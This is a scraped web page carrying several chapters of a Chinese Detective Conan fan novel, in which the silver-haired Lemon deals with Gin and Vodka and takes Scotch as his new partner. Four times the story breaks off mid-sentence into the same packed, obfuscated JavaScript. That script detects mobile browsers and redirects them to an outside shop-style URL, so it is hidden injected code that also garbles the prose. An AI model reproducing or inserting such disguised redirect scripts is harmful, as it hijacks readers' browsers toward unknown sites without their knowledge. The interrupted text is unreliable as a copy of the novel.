这种状态下的知花裕树除了还有呼吸和心跳,其他基本和死了没区别,别人就算在他耳边唱美声他都不会有任何反应;为了避免这种状态下他的身体被别人拉去埋了或者被寻仇的再补上一刀,知花裕树专门为自己打造了这间太平间。 1号柜就是他的专属睡眠舱,躺进去后,能从内部合拢,还可以上锁,同时配备恒温空调,能帮他保持身体的最佳状态。 而且这种看上去非常阴间的睡眠舱也能有效防止不长眼的人来打扰他。 完美。 和系统互道晚安后,知花裕树陷入昏迷。清晨,能量再次开始输送,知花裕树从1号柜里爬出来。 葡萄酒如往常一般盘在他的脖子上,知花裕树装模作样地打着哈欠走出太平间。 太平间外是他的卧室,有两个熟人很不客气地坐在他特制的云朵感软沙发上,两杯热茶散发着袅袅茶香。 晴天茶壶清了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174444|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清嗓子,站在桌子上唱美声:“Jingle bells,jingle bells,Jingle all the way~” 伏特加上手戳了戳它。 “嘿伙计!你洗手了吗!” “……哦,抱歉。”伏特加连忙捧起茶杯,掩饰性地抿了一口。 “早,伏特加,黑~” “早。”伏特加顺口回应,又忽然愣住,抬头一看,“等、等等……你是谁?你怎么会在莱蒙的家!” 银发的少年个子很高,赤脚踩在地板上,细长的毒蛇盘绕在颈侧。他长着一张极好看的脸,那双淡灰色的眼眸浸在冷白的皮肤里,在银白色的睫毛掀开时,好似流淌着高山雪原般的寒气。 眼角的泪痣深深晕开在一团雪白中,随着少年行走间的动作,令人心悸地晃动着。 少年缓慢地走到离他很近的地方,伏特加被他的眼睛望着,说不准是不敢动还是不想动,只见少年面无表情地扣上了连体睡衣的帽子。 “嗷呜~我是海豚!” 伏特加:“……” 一旁的琴酒瞥向他,微微拧起眉头,“你的面具呢?” 海豚裕树嗷呜着说:“任务里摔坏了。” 伏特加左右瞥了瞥,才终于在大哥如常的态度里确定:这个人就是莱蒙。 大哥原来知道莱蒙长什么样? 莱蒙原来长这个样子?! 琴酒目测了一下伏特加和莱蒙之间的距离。 ……小于两米了,而且小于之前任何一次的距离,对莱蒙来说绝对是他定义下的危险距离。 他不确定地瞥了眼伏特加。 感受到大哥的目光,伏特加:“?” ——大哥看我为何是那种眼神? 琴酒表面不动声色,实际大脑疯狂运转:难道伏特加在他不知道的时候出了什么问题,现在在莱蒙的人谱里连雄性生物都不算了? 知花裕树拿起书桌上已经塞进信封里的新人考察报告,放到琴酒面前,“这次也麻烦黑带给boss啦!” 知花裕树抬头对上琴酒的目光,一愣。 ——欸?黑看我为何是那种眼神? 话说已经很久没有这么近地看过黑的眼睛了,果然很像黑猫的眼睛。 好一阵静默之后,那一团漆黑的人影才有些奇怪而纠结似的“嗯”了声。 知花裕树觉得很奇怪。以往这个时候黑应该早就拿起信封收拾走人了,好像他这个地方待久了会有什么脏东西沾身上似的,但是今天他竟然足足静默了好几分钟。 知花裕树疑惑地探头去看,就在这时候,银色长发男人居然突然发起了攻击。 知花裕树没有防备他,近距离被忽然袭击,一时反应不及,两人的位置瞬间调转,他被男人按在了沙发上,双手被反剪在身后。 男人一条腿支在沙发上,一条腿抵着他的腰,动作间帽子掉落在地,银色长发散开坠下,冰冷地拂过知花裕树颈侧。 葡萄酒弹射而出,一口咬在了长发男人的手腕上,尖利的牙齿深深陷入皮肤,鲜血瞬间涌出。 琴酒微微蹙起眉头,俯下身子,他没有用空着的那只手去掐蛇的七寸,反而在愈加浓烈的血腥味里摸上了身下人脸庞与脖颈的分界处,发出微不可闻的一声“嗯?”。 18.第十八章 知花裕树思绪万千,一会儿是“我果然慧眼如炬”“黑这家伙终于藏不住了”,一会儿是“他就是该死的小簧攻”“光天化日竟打算白日宣.淫,可恶!”,一会儿又是“五年前不该心软”“送他归西也算造福世界”。 千头万绪汇成一个念头—— 杀了他。 等黑死后光明正大继承他的代号的景象在知花裕树脑海中疯狂闪动,他暗暗调整姿势,打算拼着折断一条手臂打对方一个措手不及。 身后的力道却忽然松了。 知花裕树摔到软软的沙发上,他缓了下神,一只手撑起身体坐起来,看向琴酒。 葡萄酒的尾巴缠上了银色长发男人的手臂,一口尖牙仍然咬在他手腕上,男人面无表情地捏住它的七寸,迫使它松开牙齿,把它扔回了知花裕树怀里。 伏特加被吓得脸色发白,左看看右看看,满脸写着“谁都好快来救救我!”。他身旁的桌子上,心情茶壶的壶身噼里啪啦电闪雷鸣,正在特大暴雨的边缘徘徊。 “……我以为是谁易容成了你的样子。”琴酒随手撕下一截衬衫下摆,咬着一边,将另一边胡乱缠在手腕的伤口上。 “大哥,我来帮您!”伏特加超有眼力见地上前帮大哥缠伤口,同时偷眼去瞧莱蒙的表情。 ……不妙,他超生气啊。 不过,还有比那更要紧的事。“大哥,这条蛇是有剧毒的吧?” 伏特加脸色苍白得就像三天三夜没睡又去跑了一场马拉松一样。 大哥被那条蛇咬了多久了?几十秒?几分钟?天啊,大哥还有没有的救啊!大哥——!! “葡萄酒是无毒的。”知花裕树拿拇指蹭了蹭葡萄酒的小脑袋,往后靠在沙发上,嘲讽似的勾唇,“真死了也是活该。” 葡萄酒本质上只是玩具,哪有玩具是带毒的。葡萄酒没有毒这件事琴酒也知道,所以他在被咬之后才丝毫不慌。 伏特加:“……” 果然超生气的啊! 伏特加偷偷去看大哥的表情,幸好大哥没有在意莱蒙的嘲讽。 深呼吸冷静下来后,知花裕树才想起来疑惑,“你为什么会觉得我是易容的?你又不是没见过我?” 他满脸狐疑,像是在怀疑琴酒还有别的目的。 眼看不回答出这个问题,莱蒙不会轻易放过他们,伏特加也很疑惑,“对啊,大哥为什么会怀疑莱蒙是易容的?” 就连他这个没见过莱蒙真容的人也能看出这就是莱蒙——除了他以外,世界上不可能有第二个这么神经兮兮的人。 沉默了半晌,琴酒才冷硬地说:“你以前不会让男人靠近你,为什么今天变了?” 琴酒记得最开始认识莱蒙的时候他还没这个习惯,后来才愈演愈烈,逐渐定型,而一个人已经定型的习惯一般不会忽然改变,这才让他产生了怀疑。 虽然事实证明是他弄错了,不过琴酒绝不会为此道歉。 银发少年怔住,陷入深深的沉思,没有回答这个问题。 ——在别人的视角,他突然变得和之前不一样了确实很奇怪。所以黑刚刚那样把他压在沙发上,做出那种看上去就一定会发生些什么的动作真的只是为了确认他不是别人假冒的? 说起来,他当时确实感觉到对方的手在他下巴边缘摸了一圈。所以那个动作其实也没有任何暧.昧倾向?!只是他又一次杯弓蛇影了? 琴酒也不在意他的回答,他用没受伤的手拿起装着新人考察报告的信封——因为莱蒙莫名其妙的仪式感,每次考核完新人都要搞个这种东西,boss竟然也配合他,指派了琴酒负责来他这里取报告。 “走了,伏特加。”琴酒又瞥了眼沾了他血迹的沙发,在桌子上放下一张银行卡,“把那东西处理干净,别留痕迹。这是补偿,密码1882。” 银发少年的目光直勾勾地跟着那张银行卡转。 大门处远远传来“路上小心,莱蒙祝您一路顺风~”的声音。周围安静下来后,知花裕树跳下沙发,赤着脚走过去,拿起那张银行卡。 [好,我决定不生气了!] 系统:[你这家伙完全变了副嘴脸啊!] “黑真是个好人啊,越来越觉得这个世界真美好了!”完全不记得十分钟前是谁想杀掉琴酒的知花裕树打开窗户,窗外鸟语花香,窗内桌子上的茶壶又开始唱歌。 …… 贝尔摩德打来电话的时候,知花裕树正坐在刚买的新沙发上给葡萄酒刷牙。 “听说你对新人里那个诸星大评价很高?” “嗯嗯,诸星他很不错!” “琴酒也对他的评价很高,竟然能让你们两个都对他做出这样的评价,我也对这家伙有些兴趣了……” 知花裕树紧张起来,“你还是先不要对他有兴趣,他有女朋友的,他们很恩爱,会幸福一生那种!” “……” 那边传来哗哗的水声,似乎是对方从浴缸里走了出来。 “啊啦,对组织的人来说稳定的感情生活确实很少见,不过小莱蒙你这么说我会以为你是那家伙的cp粉……你不是吧?” 知花裕树挠挠头,“……也可以这么说?” 诸星大和女友宫野明美是他重生以来真正接触到的第一对异性情侣,自然有着独特的意义,所以从某种意衣上讲,他确实是二人的cp粉。 “……算了,组织里的怪人多了,小莱蒙你只是这样已经算很正常了,不过我作为一个名演员还是要提醒你,追cp千万不可以真情实感,不然的话将来受伤的肯定是你自己。” 知花裕树在心里小声反驳:那不一样,我的cp是真的,不是演的! “嘛,今天和你打电话不是要说这个。我听说那三个人的代号已经定下来了,都是威士忌的酒名,朗姆应该明天就会通知你做好记录了。”贝尔摩德坐在镜子前开始敷面膜。 “再加上前段时间刚得到代号的基尔,组织最近多了四个新的代号成员,boss不会放弃继续给你指派搭档的,你已经推拒过两次了,再拒绝下去就不好了,所以还是想想你想和谁搭档吧。” “你主动要求的话,boss会满足你的。嘛,就是这样,我明天要回美国了,下次再见,sweety。” 组织里有个不成文的规定,除了情报组的成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183409|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员出于神秘的需要可以做独行侠外,其他部门的成员在临时任务组队外还需要有一个固定搭档。 知花裕树也被安排过几个搭档,第一个文化水平太低,被知花裕树逼着考东大,最终因承受不了学业压力崩溃叛逃出组织(这也是组织多年来唯一一个叛逃被抓回来后教训了一通没杀掉反而发配别的部门的成员); 第二个长得太丑想得太美,唯有一身蛮力还算可圈可点,知花裕树跟boss打了个报告,诚推他转入了清道夫组。 …… 最后一个成为知花裕树搭档的当天晚上就被半夜爬他床上的葡萄酒吓得连夜扛着新干线逃离了东京。 知花裕树承认自己当时有故意为难搭档的成分,那时候的自己毕竟太不成熟。 现在成熟的知花裕树已经不再排斥搭档。 “嗯?你同意接受新搭档了?” “是啊,不过boss你如果觉得不妥的话那我……” Boss快速打断,“绝对没有不妥,这几个新人你想让谁做你的搭档?” “Boss你还真是特别想让我有个搭档啊,是担心我的安全吗,没事的!我超强!” “……嗯,是啊,我从不怀疑莱蒙你的实力,不过你身边多个搭档总是更让人放心一些。你有人选了吗?” “有了哟……我看看他的代号,唔,我想要苏格兰威士忌。” …… 得到代号后,黑衣组织的潜入搜查工作总算是真正跨过了门槛。 降谷零通过公用电话简短地和上司汇报过工作后,略一犹豫,拨通了诸伏景光的电话。 两人虽然同为卧底,但在组织里表现得互相并不熟悉,而且组织那样的环境,他们也要时刻注意隐藏真实的自我。 不过有了代号,升为高级成员后,他们相对有了些自由。而且降谷零身为情报组成员,和其他组的成员保持联系也并不奇怪。 尽管如此,降谷零还是选择了公共电话这种更保险的方式。 电话接通后,从听筒上传来三声有规律的敲击声,那代表环境安全,可以通话。 降谷零和对方快速交流沟通了最近的重要情报,在准备挂断前忽然想起什么。 “你们行动组都要配备一个老成员做搭档的吧,你的搭档是谁?” 电话那头沉默的时间有点久,降谷零逐渐觉得不对。 “是谁?” 能让景出现这样的反应,难道是琴酒?他终于受不了伏特加的笨蛋一枪把他干掉了? “……是莱蒙。” 降谷零:? “他没选诸星,不,没选莱伊?”在此之前,降谷零和诸伏景光都以为看莱蒙对莱伊的喜爱程度,应该毫无疑问地会选莱伊成为搭档。 但现实就是如此。 他选择了苏格兰。 “……他不会真的在怀疑你是卧底,才要近距离观察确认吧?” 诸伏景光轻轻叹了口气,“这可能是唯一的解释了。”他开了个冷冷的玩笑,“也可能莱蒙喜欢喝苏格兰威士忌?” 降谷零“唔”了声,“是莱蒙的话,也不是不可能?” 19.第十九章 考虑到莱蒙那神经兮兮的风格,降谷零觉得不能用理解一般人的思维去理解他。 因为更喜欢喝苏格兰威士忌而选了代号为苏格兰的人做搭档这种事,放在他身上倒也平常。 但是,也不排除他的种种行径只是为了麻痹他们,好让他们在放下戒备后露出破绽和马脚。 “不管莱蒙到底是因为什么选择你成为搭档,总之,千万不能对组织的人掉以轻心。”降谷零向好友强调道,“也不要相信他关于卧底的那番胡言乱语,谁能保证这不是一种让卧底放松的手段。” “我知道的,zero,我会小心。” “还有就是……”降谷零停顿了下,才下了决心般继续往下说:“少看莱蒙那张脸,不要被他蛊惑。” 诸伏景光哭笑不得:“……我知道。” 他想了想,还是咽下了想说的另一番话——他觉得莱蒙那张脸隐约让他觉得有些眼熟,似乎在哪里见到过。 算了,没有根据的话,还是别说出来让zero更担心了。 …… 组织里的搭档一般都会选择住在临近的地方,而莱蒙在东京郊区有那么大一栋别墅,自然很慷慨地给苏格兰空出了房间。 苏格兰把之前租住的公寓里的东西收拾好准备去莱蒙的别墅时,在楼下遇到了两位不速之客。 “琴酒?” 已经是黎明时分,天际一道将起的霞光变幻出流动的光彩。 琴酒乌沉沉地站在那里,单手插在风衣口袋,面无表情。 伏特加看了他一眼,主动上前和苏格兰说:“你马上要成为莱蒙的搭档了,有些事情要和你交代一下。” 诸伏景光瞥了眼琴酒,淡笑:“这是琴酒的意思,还是……” 男人表情和语气都很温和,一双眼瞳却毫不掩饰冰冷和淡漠。他的意思也很明显,得说清楚到底是谁交代的任务他才能好好干。 现在的诸伏景光已经是代号成员了,自然可以比起之前更强势。 伏特加:……就知道这些新人没一个省油的灯。 自己也就算了,可不能给大哥丢人。伏特加也冷下脸,“这是那位大人的意思。一是让你好好保护莱蒙的安全,你可以死,他不行;二是及时汇报莱蒙的行踪,他之前神出鬼没的让boss很担心。哦对了,他的行踪直接报给琴酒大哥就行。” “我知道了。” 两人交代完这几句话就走了,诸伏景光坐进车子驾驶座,握住方向盘陷入沉思。 这几句话透露出的消息非常多。首先,组织很在意莱蒙的安全。 他亲眼见过莱蒙的身手,从12层楼单借助绳索跳下几乎毫发无伤,这样厉害的身手一般人根本威胁不到他,但组织还是专门交代了他这个刚拿到代号的人保护他。 而且是那位大人专门交代的……难道莱蒙的身份有什么特殊的? 第二个要求就更显得奇怪。表面上看似乎和第一个要求一样是出自对莱蒙的担心,但是从另一个角度看也可以理解为一种……监视。 组织对莱蒙展现的态度似乎透着隐约的矛盾和奇怪。 带着隐隐的疑惑,诸伏景光来到了莱蒙的别墅。来过几次后,他已然轻车熟路。 天已经完全亮了,明晃晃的太阳高悬空中。 按响门铃,机械音唱起来。 “欢迎光临,莱蒙问您父母好~” 大门打开,从里面探出一颗脑袋。阳光穿透浮尘给银发勾了金边,少年眼眸微弯,嘴角噙着笑意。 “早,苏格兰!” 像是已经等他多时。 诸伏景光:“……” Zero提前交代少看莱蒙的脸还是很有先见之明的。 莱蒙今天走的是嬉皮士风格,浅绿加深绿的两件套叠在身上,像是随时准备出发去海边度假。 “这个是给你的。”两人走进悬挂着“黑衣组织组群服务大厅”字样的房间后,莱蒙把桌子上的一个长木盒和黑色方皮包推给诸伏景光。 “给我的?” 知花裕树点点头,期待地看着他。 在这种“快点拆开看看喜不喜欢”的目光注视下,诸伏景光慢慢把长木盒打开。 里面是一把狙击步.枪,看样子似乎是改装版的雷明.顿700 Long Action系列。这种类型的改装.枪通常精度极高,而且莱蒙拿来这把枪还装了目前国际最先进的光学瞄准镜,同时在瞄准镜上方配备了激光测距仪。 额外还有一个消音器在木盒里放着。 至于黑色方皮包,里面是一整套目测价格不菲的枪.械保养套装。 “厉害!好齐全的装备,莱蒙你是打算转行做狙击手吗?”诸伏景光有点犹豫,莱蒙转行做狙击手的话,他来干嘛? 还有,这算是职场前辈给的下马威吗?表示你对我来说非常没用? “欸?狙击手吗?我没想过,不过似乎可以试一试的样子,感觉很有趣。”银发少年捏起下巴摩梭了两下,又转而笑开,“所以苏格兰你喜欢我送你的礼物吗?” 苏格兰一愣,“礼物?这些是给我的吗?” “是啊。”知花裕树清了清嗓子,“恭喜绿川先生成功转正,获得代号,愿你在新的工作中取得优异的成绩,实现自己的职业目标,为组织的未来发展贡献自己的一份力量。” “啊?……嗯,我会努力的。……不过这份礼物是不是太贵重了?” “确实花了不少钱,不过关于这一点不必担心,我不久前刚得到一笔横财,用来支付这些绰绰有余。”知花裕树振振有词地说,他让苏格兰先把东西收起来,放到专门为他准备的房间。 “莫非是中彩票了?”苏格兰的房间在二楼,和知花裕树的书房一个在最东,一个在最西。 走在前面引路的知花裕树想了想,连连点头,“差不多就是那回事吧。” 系统忍不住为琴酒发声:[这明明是黑的钱!] 知花裕树:[呵,黑是我的朋友,朋友给我花点钱怎么了?系统你这种没有朋友的统是不会懂我们人类的情感的。] 系统:[?] [不对,他什么时候也变成你朋友了?] [上周!] 作为一个卧室而言,苏格兰的房间不算小,有80平方米左右。知花裕树昨天刚打扫过,此刻干净得一尘不染,所有床上用品也拜托伏伏跑腿买了新的送过来。 趁着清晨空气质量好,知花裕树又一大早特意跑过来把窗户打开,打算通通风。 苏格兰甫一推门进来,一阵对流风吹开鬓发,也带来了树林里独有的那股沾了水汽和泥土芳香的味道,沁人心脾。 单这一个房间差不多就有苏格兰之前住的一整个公寓那么大了,而且设施非常齐全,床铺、衣柜、鞋柜、帽子架、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192276|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书桌、置物柜,甚至还有一台正在充电中的扫地机器人。 “这个颜色还喜欢吗?”第一次给朋友准备房间的知花裕树心里十分忐忑,他拍了拍床铺,“我按照你眼睛的颜色来挑的。” 此刻阳光从窗外透进了一缕,落在蔚蓝色的床铺和同色地毯上,如同海面泛起了波光粼粼的金色涟漪。 穿着一身绿衣服的、如精灵一般的银发少年站在地毯上,雪白的脸颊因为不知从何而来的紧张感而晕出一层浅淡的、苹果般的薄红。 窗外清风拂过,林木沙沙作响。 苏格兰沉默许久,才慢慢说:“喜欢,很好看。” 少年霎时笑开,重重地“嗯”了声。 苏格兰别开目光。 莱蒙这边的住宿条件确实比他之前的公寓要好了不知道多少,甚至对于一个危险的卧底任务而言,它有点舒适得像酝酿着更大风暴的温床,某种意义上这远比物理条件的艰苦更令人为难。 苏格兰在心里暗暗提醒自己:不可以掉以轻心。 他把枪和保养套装放到置物柜里。置物柜靠近窗户,苏格兰一偏头就能看到窗台。 窗台上放了个鸟食盒子,有两只鸟正停在那里吃早饭。 “这是你养……”说话的时候,苏格兰下意识朝莱蒙看去,一回头,却发现少年竟已无声无息地来到了眼前,他瞬间屏息,吞掉了后半句话。 两人的身高差不多,他几乎是一回头就撞进了对方眼眸中,紧随而来的,还有一股极淡的香柠檬的味道。 少年脸上的薄红已尽数退却,皮肤又变成一片冷冷的雪白。 “不是我养的哦,它们都是树林里野生的,因为经常来这个房间的窗台上晒太阳,我就给它们准备了上午茶和下午茶。” 知花裕树只瞥了一眼苏格兰便看向了窗外,他拉开纱窗,拿指腹去蹭小鸟的脑袋。它们竟然也不躲,乖乖任他撸来撸去。 “啊对了,说起上午茶,我还给你准备了……欸?苏格兰你什么时候跑到那边去了?” 刚刚苏格兰明明还站在他旁边的,结果一眨眼就跑到那边的衣柜前了。 “唔……就是感觉这个衣柜还挺好看的。” “是吗?” 这不就是最普通的白色衣柜吗?连花纹都没有,家具城打折买一送一,另一个被他当圣诞礼物送朗姆了。 “你喜欢就好。” 算了,尊重朋友的审美。 “我是想说,我们去吃早饭吧!我还给苏格兰你准备了早饭!” “欸?你还会做饭吗?” 上辈子只会被当成饭惨遭他人爆炒,这辈子不需要吃饭的知花裕树:“……” “差不多吧,就是这么回事。有一位伟大的哲学家曾说过,美食最重要的不是技巧,而是心意。” 哲学家为什么还做上饭了? 苏格兰忽然隐隐有种不祥的预感,这种不详的预感在接近厨房的过程中越来越重,终于在看到厨房时到达了顶峰。 莱蒙的厨房是开放式的,和餐厅连在一起。所以靠近之后一眼就可以清楚地看到他的厨房非常干净整洁漂亮,因为整洁过头了,整体上透着一种未被人类污染过的美。 苏格兰的脚步顿住。 “怎么不走了?” 苏格兰语气沉重:“抱歉,我忽然想起来前天杀的尸体忘记处理了,我得回去烧一下。” 20.第二十章 知花裕树挠了挠脑袋,“组织不是有专门的清道夫负责处理吗?” 苏格兰:“……” “难道说是苏格兰你被职场霸凌了?清道夫组故意为难你,不接你的任务订单?”知花裕树的目光逐渐犀利,“不要害怕,如果发生了这种事一定要告诉我,作为组织心理健康教育工作室的负责人,我绝不会放任职场霸凌这种事的发生!” 苏格兰连忙拦住气势汹汹撸起袖子就要去干架的银发少年,目光在对方手臂飞快闪过眼前的瞬间捕捉到那雪白皮肤上隐约的伤疤。 ——那看上去并不是刀具造成的伤痕。 思绪一闪而过,苏格兰的注意力又回到当下。 “没有没有,我没有被职场霸凌,话说心理健康教育工作室又是什么东西啊!” “那个是我和boss提议设立的,我觉得我们组织这样的工作内容和节奏,员工很容易出现心理问题,大家不能够讳疾忌医,发现问题应当及时治疗,可惜成立至今还没有病人……唔,苏格兰你有精神病吗?” “……真遗憾,没有。” 知花裕树失望透顶,“你真的也没有被职场霸凌?” 苏格兰眯了下眼睛,“莱蒙你听上去好像很希望我有被霸凌?难道是因为被霸凌的人很容易出现精神疾病,你就顺理成章得到病人了?” “绝对没有!”知花裕树的语气掷地有声,半晌,苏格兰终于半信半疑地“好吧”。 结果,苏格兰还是没能逃掉莱蒙精心为他准备的早餐。 白色的长餐桌铺着色彩温馨的淡黄色桌布,花瓶里含着露水的鲜花散发着淡淡的芳香,但依然没能盖过空气里的焦味。 说是早餐,其实只有一颗煎蛋和一杯牛奶。煎蛋正面看似乎没什么大问题,但仔细一瞧就会发现边缘已然焦黑。 苏格兰在对方灼灼的注视下极有压力地在餐桌前坐下。 “你不吃吗?” “我已经吃过了!快尝尝看!” 苏格兰心情沉重地拿起筷子。 算了,莱蒙又不可能下毒,吃一块做焦了的煎蛋也没什么大不了的,死不了。 苏格兰一口咬下去:“……” “怎么样?”知花裕树期待地看着他。 虽然是第一次做饭,因为手生烧坏了一个锅、一把铲子和十来枚鸡蛋,不过最终的成品还是蛮不错的,只有些许烧焦。 但是饱含心意! 苏格兰端起牛奶灌下一口,表情顿时变得更加扭曲。在犹豫挣扎好一阵后,他艰难地把嘴里的东西咽下去,沙哑着说:“……莱蒙,可以问一下,我是哪里得罪你了吗?” “欸?没有啊。” 苏格兰擦了擦嘴,“那为什么一定要我吃你做的早饭?” “是在道歉呀。”知花裕树站在苏格兰的对面,微微歪了下脑袋,义正言辞地说:“我刚刚才说过,我绝对不会允许职场霸凌这种事发生,所以觉得有必要传达给苏格兰,我没有讨厌你。” 【“这么说的话,莱蒙最讨厌的是我?”】 餐厅安静了一会儿,知花裕树发现苏格兰脸上又出现了一种他看不太懂的表情。 在威士忌三人组中,苏格兰的长相是棱角最温和的类型,搭配上那双蔚蓝色猫眼有时候就会显得过于温柔,不利于干他们这行的开展工作。大概他自己也意识到了这一点,所以在下巴留了一圈短短的胡茬。 这让他显得成熟,并且有了距离感。 “所以……刚刚送的枪和保养套装也是为了道歉?”苏格兰尝试理解莱蒙的逻辑。 “不,那个的话还是为了庆祝你转正比较多……毕竟道歉的话还是亲手做的礼物比较真诚,网络上是这么说的。所以你接受我的道歉了吗?” “……你本来也没做错什么。”苏格兰叹了口气,“不过你有必要学一下盐和糖的区别了,真的。”他真诚地说。 放了致死量糖的煎蛋和致死量盐的牛奶他这辈子也是第一次吃。 “看你这个样子刚刚说吃过饭也是骗人的吧?” 知花裕树“唔”了声,“也不能算骗人,只是没说实话。” ……这不就是骗人吗! 苏格兰又叹了口气,“还是我来做一点吧。” 苏格兰这样的反应就算是知花裕树也意识到他做出来的这些东西可能是真的很难吃,他还有点不服气,当苏格兰在宛如一片荒漠的冰箱里寻找生存物资时,他悄悄拿起筷子从苏格兰没咬过的另一头咬下一口。 银发少年的脸马上皱成了一团包子褶。 苏格兰出现在他身边,体贴地端起牛奶,“来喝一点吧。” 知花裕树咕咕哝哝地说:“谢谢……唔……” 苏格兰快速拿起垃圾桶接住了少年吐出来的东西,“现在知道是真的很……” 他忽然噤声。 又站得太近了。 银发少年似乎是被呛到了,声音发颤,一边抱怨“好难吃哦”,一边吐出舌头想散散味道。眼尾也被憋红了,逐渐闪烁出星星点点的水光,那颗乌黑的泪痣浸在水光里慢慢变湿了。 “……我去做早饭。” 知花裕树:“?” 做早饭就做早饭,那么着急干什么?冰箱快要打过来了吗? 十分钟后,苏格兰端上来了茶泡饭。 好香! 知花裕树的“我不吃”迅速被吞回口中。 “因为厨房的东西太少了,只好简单做了一点。” “哪里哪里!超级好吃!我觉得我过去的人生都白活了。”知花裕树被这碗茶泡饭好吃到眼泪汪汪,“苏格兰,你已经上升到我第二顺位的挚友了。” 苏格兰表情微妙,“第一顺位莫非是莱伊?” “嗯嗯,我是莱伊的cp粉哦。” “哦……嗯?” 早饭过后,趁着苏格兰收拾厨房的时候,知花裕树悄悄来到卫生间,拿小棍子压住喉咙催吐,把刚刚吃的东西大部分都吐了出来。 系统的能量有限,要尽可能避免浪费在消化食物上。 [下次绝对不会再贪嘴了……]他略微虚脱地往后靠在了洗手台边缘,沾了水的手指将额前的碎发抹到耳后,留下点点湿意。 缓过劲来,知花裕树就准备出门了。 他没忘记和新搭档告别,“苏格兰,我出发了。” 苏格兰迅速擦干最后一个盘子,擦干净手指,“好,等我带上东西。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197364|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知花裕树呆呆的,“欸?你也要一起吗?” “搭档不是要一起行动吗?” “这样啊,那好吧。” 知花裕树上一次有搭档已经是很久之前了,而且他和之前的搭档相处都很短暂,很多事并不清楚。 不过苏格兰已经是他的朋友了,知花裕树觉得和朋友一起出门也是不错的体验。 这样看来,他当初许下的人生愿望正在一步一步地走向现实——一股饱满而丰沛的感情充斥在知花裕树胸口,让他看苏格兰越看越顺眼。 “苏格兰,你人真好。” 苏格兰:“?” “谢谢?” 话说黑.道狙击手在被人这样夸的时候是该说谢谢吗,还是表现出生气比较好? 没有伪装身份的需要,知花裕树出行自然要选择他最宠爱的海绵宾利宝宝。苏格兰在看到他这辆车时沉默地在原地站了许久,看上去也对他拥有这样豪华的改装车非常羡慕。 知花裕树拍了拍他的肩,沉声道:“输给我你无需自卑。” 苏格兰:“……” 车子的内部还是很正常的,苏格兰暗暗放下心,试探着问:“今天有任务吗?” “没有,要去一趟研究所。不过在那之前还要先去另一个地方。” …… 芙纱绘门店VIP客户区。 “知花先生,您预定的货物已经提前给您准备好了,您拿好。”打扮精致,浑身香喷喷的经理搓了搓手,“您真的不考虑一下来给我们当模特吗?老板已经说了,假如您愿意的话,以后给您的内购价还可以再加折上折,最高能打一折!” 知花裕树艰难地用为数不多的理性控制住自己:“……不,不当。” 他用黑的银行卡付了帐,魂不守舍地离开芙纱绘门店。 苏格兰惊讶:“那个折扣那么让你心动吗?” 知花裕树幽幽地说:“他如果不告诉我这件事也就算了,我其实也没有损失什么。但是他让我知道我本可以享受这么优惠的折扣却没能拥有,我就会觉得他把手伸到我的口袋里拿钱了!” 有星探路过,随意抬头瞥了一眼,看到银发少年后顿时惊为天人,两眼几乎冒出火光,正要上前,少年身旁的黑发青年淡淡抬眸望过来,卷起的白衬衫袖口下是绷紧的线条流畅的肌肉。 看起来一个至少能打三个他。 星探望而却步,嘀嘀咕咕:“……哪家的少爷?带的保镖还挺凶。” 听力还挺好的诸伏景光:“……” 重新坐进爱车也没能让觉得自己亏钱了的知花裕树心情好转。他把装包包的袋子交给副驾驶的苏格兰,“先帮我拿一下。” “这是女式包吧?莱蒙是打算送人?” 知花裕树凝重点头,“没错,这是拿来贿赂大粉加站姐的礼物。” “……哦。” 知花裕树忽然转了话题,“苏格兰,你安全带系好了吗?” “嗯,是系好……等等,莱蒙,你打算干什么?” 这令人眼熟的起手架势是—— 知花裕树舔了舔嘴唇,“你想知道飞起来是什么感觉吗?” 苏格兰:“?” 谢谢,不想。 21.第二十一章 车辆在研究所停车场停下,因为过快的速度,车辆停稳后,被车轮带起的烟尘还没有降落。 